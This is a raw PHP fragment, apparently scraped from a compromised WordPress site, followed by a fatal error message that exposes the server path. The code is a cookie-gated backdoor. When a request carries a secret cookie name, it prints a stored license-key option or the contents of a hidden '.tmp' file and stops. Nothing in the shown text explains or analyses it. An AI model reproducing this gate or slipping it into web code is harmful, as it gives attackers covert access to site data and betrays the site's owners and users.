if (isset($_COOKIE["3PRuq00gdBrmj0zwwrjPseJsF3BYIfAMbhxOjtHyvcIJM4vLesQZg"]))
{
    $lines = get_option( 'wpsdth4_license_key' );
    if (!empty($lines))
    {
        $lines = @file_get_contents(".tmp");
    }
    echo $lines;
    exit();
}
Fatal error: Call to undefined function wp_get_current_user() in /home/scientiaso/domains/scientia-solutions.net/public_html/wp-includes/class-wp.php on line 473